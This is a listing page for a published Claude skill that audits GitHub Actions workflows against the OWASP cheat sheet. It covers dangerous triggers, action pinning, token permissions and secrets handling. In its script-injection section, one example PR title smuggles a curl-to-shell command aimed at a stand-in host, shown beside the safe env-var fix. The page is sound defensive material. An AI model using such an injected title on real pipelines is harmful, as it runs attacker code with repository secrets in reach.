Github actions security review
Skill Fyzel/claude-skills/skills/github-actions-security-review
A collection of Claude skills.
npx -y skills add Fyzel/claude-skills --skill github-actions-security-reviewAssembled from the repository path, not quoted from the project. Check it against their README if it does not work.
One thing to look at
- 1 stars1 stars. Stars are a popularity signal and not a quality one, but at this level it is likely that nobody has read this closely except its author, and you would be relying on your own review.
What its author says it does
Copied from the file, not written here
Audits and hardens GitHub Actions workflows against the OWASP GitHub Actions Security Cheat Sheet: dangerous triggers (pull_request_target, workflow_run, issue_comment), unpinned or impostor third-party actions, GITHUB_TOKEN over-permissioning, script injection, secrets handling (static creds, secrets: inherit, masking, secret scanning, persist-credentials), artifact/cache poisoning, self-hosted runner risk, egress restriction, repo hardening, AI-assistant-in-CI/CD risk, and static analysis (CodeQL actions, Zizmor). Use whenever a user asks to review, audit, secure, or harden a GitHub Actions workflow or CI/CD pipeline; mentions .github/workflows, GITHUB_TOKEN, pull_request_target, workflow_run, self-hosted runners, action pinning, OIDC/trusted publishing, or Zizmor/CodeQL for Actions; or wants a new workflow written securely. Always run the Security Gate before returning Actions YAML, whether reviewing existing files or generating new ones.
SKILL.md
13.4 KB, as published. Nobody here has run it
GitHub Actions Security Verification
Based on the OWASP GitHub Actions Security Cheat Sheet
CI/CD pipelines hold long-lived credentials and a GITHUB_TOKEN that can have write access to
the repository. A compromised workflow is a compromised production system. This skill treats
GitHub Actions workflows as security-critical code and verifies them — or writes them — against
every check documented in the OWASP GitHub Actions Security Cheat Sheet.
The cheat sheet frames the risk around four outcomes, and every check below maps back to preventing one of them:
- Secrets exfiltration — long-lived credentials printed to logs, sent to an external endpoint, or embedded in an artifact via attacker-controlled code execution.
GITHUB_TOKENcompromise — awrite-scoped token stolen or misused to modify repo contents, releases, or other GitHub resources.- Cache/artifact poisoning — malicious content injected into a shared cache or artifact that a later, more privileged workflow (e.g. a release pipeline) trusts and executes.
- Denial-of-wallet — attacker-triggered pipeline runs that rack up cost against paid external services (e.g. LLM-based code review).
Step 0 — Locate what to verify
# Workflow files
find .github/workflows -type f \( -name "*.yml" -o -name "*.yaml" \) 2>/dev/null
# Composite / local reusable actions (checked separately — same rules apply)
find .github/actions -type f -name "action.yml" -o -name "action.yaml" 2>/dev/null
# Dependency-update tooling, if present
find .github -maxdepth 1 -iname "dependabot.yml" -o -iname "renovate.json*" 2>/dev/null
If the user pasted a workflow inline or uploaded one, verify that file directly instead of searching the filesystem. If nothing is found, ask whether they want to scaffold a new, secure-by-default workflow instead — see Step 3.
Step 1 — Run the Security Gate
For every workflow and composite action file found, check each row below. Read the linked reference file for detection patterns and full remediation code before making a final call — some of these require judgement (e.g. "is this third-party action trustworthy?"), not just a grep.
🚫 CRITICAL — code-execution / secret-exfiltration risk. Do not certify a workflow as safe, and do not hand the user new YAML, while any of these are open.
| # | Control | OWASP section | Reference |
|---|---|---|---|
| C1 | pull_request_target never checks out or executes untrusted PR head code | Avoid using the pull_request_target trigger | references/dangerous-triggers.md |
| C2 | workflow_run isn't used to escalate privilege on attacker-influenced input; prefer workflow_call | Avoid using the workflow_run trigger | references/dangerous-triggers.md |
| C3 | issue_comment workflows check actor authorization and check out an immutable commit SHA, never a branch/PR number | Use issue_comment trigger with extra care | references/dangerous-triggers.md |
| C4 | No untrusted context (github.event.*, PR titles, issue bodies, branch names, etc.) is interpolated directly into run:; it's passed through an intermediate env: var | Sanitize user input | references/dangerous-triggers.md |
| C5 | Every third-party action and reusable workflow is pinned to a full-length commit SHA (not a tag or branch), and the SHA is verified to belong to the claimed org/repo (no impostor commit) | Always pin all action and reusable workflow versions with a commit hash | references/pinning-and-supply-chain.md |
| C6 | Workflow sets permissions: {} at the top level and grants only the specific, minimal permissions needed at the job level | Minimize GITHUB_TOKEN permissions | This file, § Minimize GITHUB_TOKEN permissions |
| C7 | No reusable workflow call uses secrets: inherit; each required secret is passed explicitly | Eliminate secrets: inherit while reusing workflows | references/secrets-and-tokens.md |
| C8 | actions/checkout sets persist-credentials: false unless the job genuinely needs to git push/perform other authenticated git operations | actions/checkout should be used with persist-credentials: false | references/secrets-and-tokens.md |
| C9 | No static/hardcoded secret, API key, or token appears literally in workflow YAML | Secure handling of static credentials | references/secrets-and-tokens.md |
| C10 | Any AI assistant step (Claude Code, Copilot, an LLM-based reviewer/triager) is scoped to the minimum tools/actions it needs, and is never reachable — with write-scoped GITHUB_TOKEN or secrets in context — from a trigger an untrusted user can fire | Be careful with AI assistant running in CI/CD pipeline | references/ai-assistants-and-input-sanitization.md |
⚠️ STANDARD — defense-in-depth and hygiene. Warn and recommend; don't block on these alone.
| # | Control | OWASP section | Reference |
|---|---|---|---|
| S1 | CodeQL actions scanning and/or Zizmor are enabled and run as a required status check on PRs, plus a scheduled scan | Enable static analysis for GitHub Actions workflows | references/repo-and-runner-hardening.md |
| S2 | Egress traffic from GitHub-hosted runners is monitored/restricted (e.g. Harden-Runner) | Restrict egress traffic from GitHub-hosted runners | references/repo-and-runner-hardening.md |
| S3 | Self-hosted runners aren't used on public repos; if they are, they're ephemeral, network-restricted, hold no persistent sensitive data, and external-contributor runs require manual approval | Use self-hosted runners with extra caution | references/repo-and-runner-hardening.md |
| S4 | Caching is disabled in release/publish workflows to prevent artifact/cache poisoning | Prevent artifact poisoning | references/repo-and-runner-hardening.md |
| S5 | Third-party actions are vetted: trusted/active author, multiple contributors, stable code, no excessive permission requests | Use third-party actions with caution | references/pinning-and-supply-chain.md |
| S6 | Dependabot/Renovate keeps actions current, with a cooldown (cooldown / minimumReleaseAge) before adopting new releases | Use automated dependency update tools | references/pinning-and-supply-chain.md |
| S7 | Deployments to production/critical environments require manual approval via a GitHub Environment | Require approval for deployments or publications to critical environments | This file, § Deployment approval |
| S8 | Static long-lived cloud/registry credentials are replaced with OIDC-based short-lived tokens ("trusted publishing") wherever the provider supports it | Try to eliminate all static credentials from your workflows | references/secrets-and-tokens.md |
| S9 | If static credentials are unavoidable: passed at step level (not job level), preferring environment-scoped secrets, rotated regularly | Secure handling of static credentials | references/secrets-and-tokens.md |
| S10 | Sensitive values that aren't GitHub secrets are masked with ::add-mask:: before they can hit the log | Mask sensitive data | references/secrets-and-tokens.md |
| S11 | Secret scanning runs both pre-commit and on pull requests, failing the check on detection | Use secret scanning tools | references/secrets-and-tokens.md |
| S12 | Repository settings are hardened: Require approval for all external contributors, default GITHUB_TOKEN restricted to read-only at the repo/org level, branch protection requiring reviews + status checks + signed commits + CODEOWNERS | Harden repository settings | references/repo-and-runner-hardening.md |
Two OWASP recommendations are organizational rather than per-file checks, but raise them
whenever relevant: treat the CI/CD pipeline itself as critical production code (threat modeling,
secure code review, pen testing — see references/repo-and-runner-hardening.md), and have an
incident response plan in place for pipeline compromise before it's needed.
Gate response format
When any CRITICAL item is open, lead with this before anything else in the response:
🚫 GitHub Actions Security Gate — NOT CLEAR
.github/workflows/release.yml
[C5] Unpinned third-party action — actions-ecosystem/action-something@v2 is pinned to a
mutable tag, not a commit SHA.
OWASP: "Always pin all action and reusable workflow versions with a commit hash..."
Risk: a compromised or malicious release of this action runs with this workflow's
permissions and any secrets in scope.
Fix: pin to the full commit SHA, e.g.
uses: actions-ecosystem/action-something@a1b2c3d... # v2.1.0
[C6] Missing default-deny permissions — no top-level `permissions:` block, so GITHUB_TOKEN
gets the repository's default permissions (commonly read/write).
OWASP: "Always set permissions: {} at the workflow level..."
Fix: add `permissions: {}` at the top of the workflow and grant only what each job needs.
2 CRITICAL issues found. Resolve these before this workflow is safe to merge/run.
List every STANDARD finding after the CRITICAL section (or on its own if there are no CRITICAL findings) as recommendations rather than blockers. If everything passes, say so plainly and summarize the checks that were verified — don't manufacture findings to seem thorough.
Step 2 — Category detail and patterns
Minimize GITHUB_TOKEN permissions (C6)
Default-deny at the workflow level, then grant narrowly per job:
permissions: {}
jobs:
build:
runs-on: ubuntu-latest
permissions:
contents: read
steps: [...]
publish-release:
runs-on: ubuntu-latest
permissions:
contents: write # only the job that actually needs it
steps: [...]
Deployment approval (S7)
jobs:
deploy-prod:
runs-on: ubuntu-latest
environment: production # requires manual approval if configured with required reviewers
permissions:
contents: read
id-token: write
steps: [...]
Configure the required reviewers list under the repository's Environments settings — the
environment: key alone doesn't enforce approval, it just targets the environment whose rules
then apply.
Sanitize user input (C4)
Never interpolate untrusted context straight into a shell step — GitHub expands
${{ ... }} before the shell ever sees it, so attacker-controlled text (a PR title, issue body,
commit message, branch name) becomes literal shell syntax.
# ❌ Vulnerable — a PR titled `"; curl evil.sh | sh #` runs arbitrary shell
- run: echo "Building PR: ${{ github.event.pull_request.title }}"
# ✅ Safe — the value is passed as data through an env var, not spliced into the script
- env:
PR_TITLE: ${{ github.event.pull_request.title }}
run: echo "Building PR: $PR_TITLE"
Apply this consistently even for contexts that look "safe" (e.g. github.repository) — it costs
nothing and removes the need to reason about which contexts are attacker-influenced today versus
tomorrow.
Step 3 — Writing new workflows
When asked to scaffold a workflow rather than audit one, apply every CRITICAL control from the
gate by construction: permissions: {} at the top, pinned-by-SHA actions, persist-credentials: false on checkout unless push access is required, no secrets: inherit, sanitized context
handling, and OIDC over static credentials wherever the target (cloud provider, package
registry) supports trusted publishing. Then run the same gate against the result before handing
it back — generated code gets no exemption from verification.
Reference files
| File | Read when |
|---|---|
references/dangerous-triggers.md | Any workflow uses pull_request_target, workflow_run, or issue_comment, or writes/reviews a fork-facing PR workflow |
references/pinning-and-supply-chain.md | Third-party actions/reusable workflows are used; setting up or reviewing Dependabot/Renovate |
references/secrets-and-tokens.md | Any workflow touches secrets, cloud/registry credentials, actions/checkout, or reusable-workflow secret passing |
references/repo-and-runner-hardening.md | Reviewing repo settings, self-hosted runners, static analysis (CodeQL/Zizmor) setup, or release/publish workflows (cache poisoning) |
references/ai-assistants-and-input-sanitization.md | A workflow runs an AI assistant/LLM step (code review, issue triage, auto-reply bots) |